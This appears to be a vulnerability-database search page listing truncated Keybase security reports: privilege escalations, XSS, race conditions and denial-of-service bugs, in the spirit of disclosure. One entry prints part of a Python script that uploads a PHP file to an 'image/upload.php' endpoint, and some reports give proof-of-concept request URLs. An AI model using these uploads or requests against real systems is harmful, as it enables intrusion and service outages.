148 matches found
Keybase keybase-redirector - '$PATH' Local Privilege Escalation
keybase-redirector is a setuid root binary. keybase-redirector calls the fusermount binary using a relative path and the application trusts the value of $PATH. This allows a local, unprivileged user to trick the application to executing a custom fusermount binary as root. Environment CentOS Linux...
Keybase: Privilege Escalation via Keybase Helper
A privilege escalation vulnerability exists within the KeybaseHelper application available when installing the Keybase Desktop Application on MacOS. The issue is exposed via a LaunchDaemon plist which is installed within /Library/LaunchDaemons/keybase.Helper.plist. This file is responsible for...
Keybase: Fix bypass of different processing of usernames on Hackernews
Description In report https://hackerone.com/reports/307670 the reported identified a flow which abuses parsing differences between Keybase and Hackernews. Also the original reports is resolved there appears to be a bypass having the same impact by abusing upper-case letters. Steps to reproduce 1...
Keybase: Claiming ownership of GitHub handles via forked GitHub gists.
Description An attacker can claim ownership of a GitHub user's handle if the user forks the attacker's gist with a verification snippet generated by the attacker pointing towards the user's handle. PoC With my colleague's permission @jackds I claimed their GitHub handle with this gist:...
Keybase: Keybase extension hostname-validation regular expression issue.
Description The following snippet in js/identities.js allows all hostnames ending in twitter.com, facebook.com, etc. to display the Keybase message window. The issue stems from the fact that you use . instead of \. in your regular expression. js service: "twitter", getUsername: functionloc return...
Keybase: Difference in query string parameter processing between Hacker News and Keybase Chrome extension spawns chat to incorrect user
Hello! When using the Keybase Chrome extension and viewing a Hacker News profile page with an additional id parameter in the query string, Hacker News uses the username from the first id parameter, whereas the Keybase extension uses the username from the second id parameter. Example URL:...
Insecure Cryptography
github.com/keybase/client uses insecure cryptographic measures when hiding URLs. If an attacker knows what the hash of a link is, they will be able to figure out the hidden data...
Keybase: Persistent XSS on keybase.io via "payload" field in `/user/sigchain_signature.toffee` template
Issue Keybase allows you to see other users' sigchains by navigating to /sigchain. The "Payload" field containing JSON related to the chainlink on the right side of the page is not correctly escaped during templating, leading to a persistent XSS as users have a high degree of control over the...
Downgrade Attack
github.com/keybase/client is vulnerable to downgrade attack. This attack is possible because the library does not validate the version signature prefixes...
Keybase: Universal Cross-Site Scripting in Keybase Chrome extension
Description The Keybase Chrome extension makes heavy use of the insecure innerHTML DOM API, resulting in Universal Cross-Site Scripting on all Keybase-supported social networking websites. Steps to reproduce the issue 1. Install the Keybase Chrome extension 2. Navigate to the following URL addres...
Keybase - Customized SSL, Dangerous filesystem permissions, Redefined SSL Common Names verifier vulnerabilities
HackApp vulnerability scanner discovered that application Keybase published at the 'play' market has multiple vulnerabilities...
Keybase Extension Brings End-to-End Encrypted Chat To Twitter, Reddit, GitHub
A recently released Chrome extension, developed by the public key crypto database Keybase, brought end-to-end encrypted messaging to several apps this week. Keybase, a service that allows users to identify themselves with a public encryption key, introduced its end-to-end encrypted chat feature...
Malware exploit: Keybase
Type: Upload vulnerability Author: Unit42 import requests import sys if lensys.argv != 2: print "Usage: %s phpfile" % file sys.exit1 URL = "" print "Sending request..." multiplefiles = 'file', 'WIN-JJFOIJGL6514222.php', opensys.argv1, 'rb' r = requests.postURL + "image/upload.php",...
Keybase: Denial of Service through set_preference.json
Hey there, When selecting an image at https://keybase.io//api/1.0/image/setpreference.json, passing an invalid value in identitysrc knocks the server down for 20-30 seconds, with just one request. I have verified this by visiting an external website that checks if a website is down. POC: 1. Conne...
Keybase: Register multiple users using one invitation (race condition)
Hi, It is possible to create multiple accounts using a single invitationid due to a race condition bug in //api/1.0/signup.json. I have successfully created 8 accounts using invitation with id = 37c5a121adf23e90b875500d The account usernames: novijosiptest1,2,4,5,6,8,9,10 you can delete them, I...
Keybase: Content spoofing due to the improper behavior of the not-found meesage
Hay , At dist.keybase.io , It's possible to inject text in the not-found message in order to trick the user to make him visit website or do something an attacker might be interested in . PoC : https://goo.gl/3WO6iH I've shortened this one because it's really long , it's needed to be on google...
Keybase: Race conditions can be used to bypass invitation limit
Hi, I have received 3 invites from Chris I might have screwed up the PGP email, but thanks anyway, added to my account https://keybase.io/josipfranjkovic. Using race conditions, I was able to send out a total of 7 invites to my throwaway emails, obviously bypassing the 3 invitations limit. Here a...
Keybase: Remote Server Restart Lead to Denial of Service by only one Request.
https://keybase.io//api/1.0/getsalt.json?uid=36965a2dc9bbd814e8558a77040c5419 Poc: set wrong uid in this examble i chabge last numbre from 9 to 8 https://keybase.io//api/1.0/getsalt.json?uid=36965a2dc9bbd814e8558a77040c5418...
Keybase: Remote Server Restart Lead to Denial of Server by only one Request.
URL === https://keybase.io//api/1.0/merkle/block.json?hash=68b5d3599be9acbe97bcc45603a322f85f8a99b9cbc696592fe1088c3a099a45d929f0bc2fae2230f0b31b5e4b4122365f50b34fcf91a94a357df90a83e3b013 Poc: ==== https://keybase.io//api/1.0/merkle/block.json?hash=1 see video...
